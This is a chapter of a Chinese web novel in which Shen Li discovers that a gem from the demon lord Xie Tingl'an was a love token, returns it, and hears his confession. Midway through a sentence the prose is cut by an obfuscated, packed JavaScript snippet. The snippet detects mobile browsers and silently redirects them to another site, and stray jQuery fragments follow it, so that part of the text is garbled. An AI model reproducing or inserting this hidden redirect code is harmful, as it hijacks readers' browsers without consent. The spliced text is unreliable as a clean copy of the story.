16. 告白

作品:《与深情魔王撕破脸后

    失踪了七年的沈梨师姐回归宗门,消息不胫而走,一夜间传遍整个太虚宗。


    有消息传,师姐很普通,没有任何修为。


    扬言她没有资格继承宗门。


    对于继承宗门的人选,全都闭口不谈。


    掌门和帝君对她冷淡的事情,也皆是不敢讨论,他们捂着那个秘密丝毫不敢让沈梨知道。


    一个足够让师姐再次失踪的秘密。


    沈梨准备去藏书阁,那里有她想知道的一切,正走着,她突然停了下来,惆怅看向远方。


    神没骗她,这里果然是风景如画的修真界。


    “主人主人,有这身份你怎么不早说,等你爹娘死了,这整座宗门可都是你的,美滋滋。”猫猫头探出脑袋来,尾巴随意摇摆。


    主人以后当了掌门,那自己可不就是主人唯一的灵宠,美啊。


    选对了主人,真是猫生一片顺遂。


    沈梨给它泼冷水:“我劝你趁早放弃这个念头,修真者岁月绵长,等他们老去或者死去,至少要等千千万万年,谁先死还说不准呢。”


    沈梨没继续回答,而是口中念咒,使出转换法术。


    再睁开眸,已经身处藏书阁中。


    只一眼沈梨就被这太虚宗的藏书阁规模惊住了。


    猫猫头趴在她头上惊叹:“主人,这里的书好多啊,看起来有好几层的样子,人魔妖界的书都有,甚至还有神的!”


    沈梨瞳孔瞪大,行走间,她瞥见了一本关于魔族的书籍,不知出于什么缘故,她翻开了第一页。


    看到那四个字时,沈梨将谢听阑送的宝石拿出来一对比,整个人吓的不敢动弹。


    “所以,他送给我的宝石是定情用的?”


    谢听阑喜欢她?


    沈梨慌慌张张将书放回去,一把将胸前的宝石扯下来,无措的砸眼。


    过往的种种回忆令她有种毛骨悚然之感,她忽地想那魔头不杀自己,还给自己饭吃,和新衣服的原因。


    感情人家是将她当成了一生一世的伴侣!


    而自己因为手贱让他产生了误会。


    这可是天大的误会啊。


    怪不得,怪不得她总觉得那魔头对她怪怪的,原来问题出在这!


    沈梨脱力的站在一旁,只感觉脑中划过一股电流声,心跳声平复之后,她来到另一本书前。


    “主人,就是这本了。”猫猫头指着那本泛黄卷边的书。


    沈梨蹙眉,深深吐出一口气,“这就是未来会杀死男主的东西了。”


    目光往书页上扫去,正如她的掌门娘亲所说,秽是恶神衍生出的东西,是贪欲,激发内心生出的心魔,这东西在十年前突然出世,让本安宁的三界陷入混乱。


    任何人都有可能被这东西缠身,而被秽缠身的人,结局只有一个死字。


    没人知道秽的母体是什么,在什么地方,更不知她从何而生。


    只能杀。


    杀了一个还有下一个。


    微风吹动她纯白色的裙摆,沈梨失神的将目光放向窗外,忽然有点难过,这里还有东西属于她么?


    小世界的设定中,大结局在十年后,她必须在十年内将它消灭!


    一道温和的音色将她拉回现实。


    “师姐。”


    沈梨回过神来,睫毛微微颤动,看清楚来人后,微微诧异:“顾回舟?”


    顾回舟点头,缓缓走来,桃花眼似含着春光。


    “师姐好巧,我正好有事找你。”他浅笑,带来一股令人愉悦的花香。


    沈梨点点头,冷淡:“嗯。”


    “师姐也太高冷了吧。”顾回舟笑了几声问出一直关心的问题:“师姐好厉害,凭一己之力就杀了那秽,师姐当真只是普通女子?我为何看不出你的修为?”


    沈梨闻言,像是想到某个人,整个人莫名烦躁:“我没那个能力杀,我……我有一个朋友,他很厉害,秽是他杀的,与我无关。”


    顾回舟忽然抬眸,笑道:“那师姐的这个朋友还真是厉害,不知能否为我引荐一二?”


    沈梨紧了紧拳头,抿唇:“我也不知他在哪。”


    “不过,你的确该提升好好提升一下修为,弱鸡。”


    顾回舟看着远去师姐远去的背影,莫名一愣,如果没看错的话,师姐刚刚翻了他白眼?


    顾回舟缓步追上去,察觉到她不太高兴,音色更加温和:“其实我是来找师姐要东西的,那个黑匣子,我去的时候王夫人说被一个白皙高挑的女子拿走了。”


    顾回舟暖笑:“白皙高挑的女子,我一猜就是师姐。”


    沈梨闻言,脚步蓦然顿住,在顾回舟猝不及防间停下,她说:“黑匣子被人偷了。”


    顾回舟双眸瞪大。


    在他的视线中,少女一点点走远。


    王夫人和他谈话时,还说过,她的身边跟着一名黑发红衣,修魔道的诡异男子。


    想必这也是她失踪那么多年能活下来的原因,她身上那股不同寻常的力量来自一名修为高深的魔头。


    普通的师姐在太虚宗,藏了一个魔头,并且和他悄悄相爱。


    顾回舟桃花眼灼灼,挑眉浅笑,“有趣。”


    ——


    太虚宗的夜来的很晚,沈梨穿着雪白的中衣,碎发轻轻的附在额上,睫羽卷翘,看上去格外冷淡。


    她打开窗户,微闪的杏眸中似乎蕴含着心事,怎么都睡不着。


    雕花的窗户外,林雨潇正拿着剑刻苦修炼,那双灵动的眼时不时会看向她,然后腼腆一笑。


    师姐的归鸿山上,只有她一人。


    师姐虽然冷冷淡淡,可却只有她这么一个朋友,师姐说过,会把她当成家人。


    纤细的身影刻苦训练挥舞着,她发誓要变得和她一样强大。


    然后好好保护她。


    睡不着的夜晚,沈梨悄悄桌案前,不知是错觉还是神什么,她总感觉有双眼睛在盯着自己,后脑勺一凉。


    熟悉的味道传来,谢听阑不知什么时候,悄悄走到她身后。


    “给你的。”身后传来魔王歉疚的音色。


    沈梨百无聊赖抬眸,瞪大双眸看着她,面上露出震惊之色。


    清脆的铃铛轻轻响彻,微风吹动树叶哗哗作响,他的手上,拿着一把长剑。


    谢听阑慢慢靠近,他将长剑放在桌案上,慢慢退至一边,隐匿在黑暗中。


    那把长剑通体白色,剑柄上点缀着蓝色宝石,飘荡的剑穗上,系着一个好看的兔结,总之和她在深渊中丢失的那把剑很像。


    “你抢的?”沈梨不可置信的望着他。


    谢听阑不说话。


    许久之后,才听见他低沉的声音传来:“买的。”


    沈梨起身,她衣衫单薄,露出的眉眼精致秀丽,白皙的脖颈下,是嶙峋般的锁骨。


    谢听阑蹙眉。


    沈梨一步步靠近他,这才发现他发尾的各色玛瑙宝石已经没有了,头上一堆金光闪闪的首饰也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517711|154560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没了,只剩下一头后泻的墨发。


    还有腰上一圈不值钱的铃铛。


    “你……”沈梨一时心情复杂。


    他们之间,好像有什么地方错了。


    既然错了,就要改正过来,似乎想到什么,沈梨一把将脖颈上的定情宝石扯下来,不容拒绝塞进他手中,抬眸道:


    “谢听阑,这个还给你。”


    他的眸底闪过慌乱。


    她听见一句急促的声音:“我喜欢你。”


    “我知道,但是我不喜欢你。”沈梨后退两步,神情平淡。


    谢听阑眉眼低垂,看见她后退的动作心口一紧,怀中蓝宝石熠熠发光,像极了她十六岁的眼。


    阿梨以前明明不是这样看他的。


    沈梨背对着他,面容清冷:“我那时候年纪尚小,不明白这是什么意思,现在才知道让你误会了这么久,实在抱歉。”


    “我……不是故意让你误会的,而且你也没和我说……”


    谢听阑看着那道纤细的背影,眼睫微颤,他跟上前,用尽全力扯了扯她衣料的一角,拼命压抑自己:


    “阿梨,你生气了么?”


    沈梨听见他音色哽咽:“我不是故意不遵守约定的,出来的时候,我受了很严重的伤,我发现我好像只能在黑夜出现,伤口也只能在一个又一个黑夜里愈合。”


    “我每一天都很想见你,我想听见你的声音,可是我找不到你。”


    怎么都找不到。


    温热黏腻的气息喷薄到她柔软的头发丝上,“我只能在黑夜里赶路,找了好久才找到你。”


    “你不要生气,我有一点害怕……”


    谢听阑瞳孔微缩,继续扯了扯她的衣角,颤抖着声音开口:“阿梨,我可以这么叫你么?”


    一想到阿梨曾经因为他差点丢命,他就心口难受。


    沈梨转身,映入眼帘的是一条长长的伤疤。


    伤疤出现在谢听阑那张白皙半张脸上,渗出血,滴答落在地上面,他眉眼低垂着,一只手紧紧捏着她的衣角不松手。


    “你怎么受伤了……”


    看见伴侣终于愿意再次盯着自己,谢听阑赶紧伸手擦掉脸上的血,可越擦越多,他无措的看向伴侣,薄凉的眼中蓄满一汪泪水。


    他捂住自卑抬眸,意识到自己一定很丑很丑。


    “今天有人想抢我给你买的剑,他把我打伤了。”音色破碎,带着些委屈。


    没说的后半句是:我受的是伤,他丢的是命。


    明白一切的沈梨此刻很不是滋味,原来自己一直在误会他,这一切并不是她想的那样。


    她缓了好一会才消化完这些,眸光闪着碎茫。


    有的,至少这个世界还有一颗真心属于她。


    “可……”沈梨撇过脸不看他,真诚发问:“谢听阑,你说喜欢我,只不过是因为你的世界只能听见我的声音而已,你若能听见别人的声音,你同样会爱上别人,我不是什么特别的人,若有朝一日你能听见了,就知道这一切有多好笑。”


    谢听阑慌乱的声音不断在她耳边低声述说:“不,不是的,我爱你,不仅仅是因为声音,魔不会因为声音而爱一个人……”


    沈梨抿唇,双手捏紧,眸中似蕴含着幽幽烛光“那,那你要如何证明?”


    两人对峙间,房间门突然“嘎吱”一声开了。


    林雨潇愤恨的看向谢听阑,深呼吸几口气:“师姐,山上不应该只有我一个人吗?他又是谁?”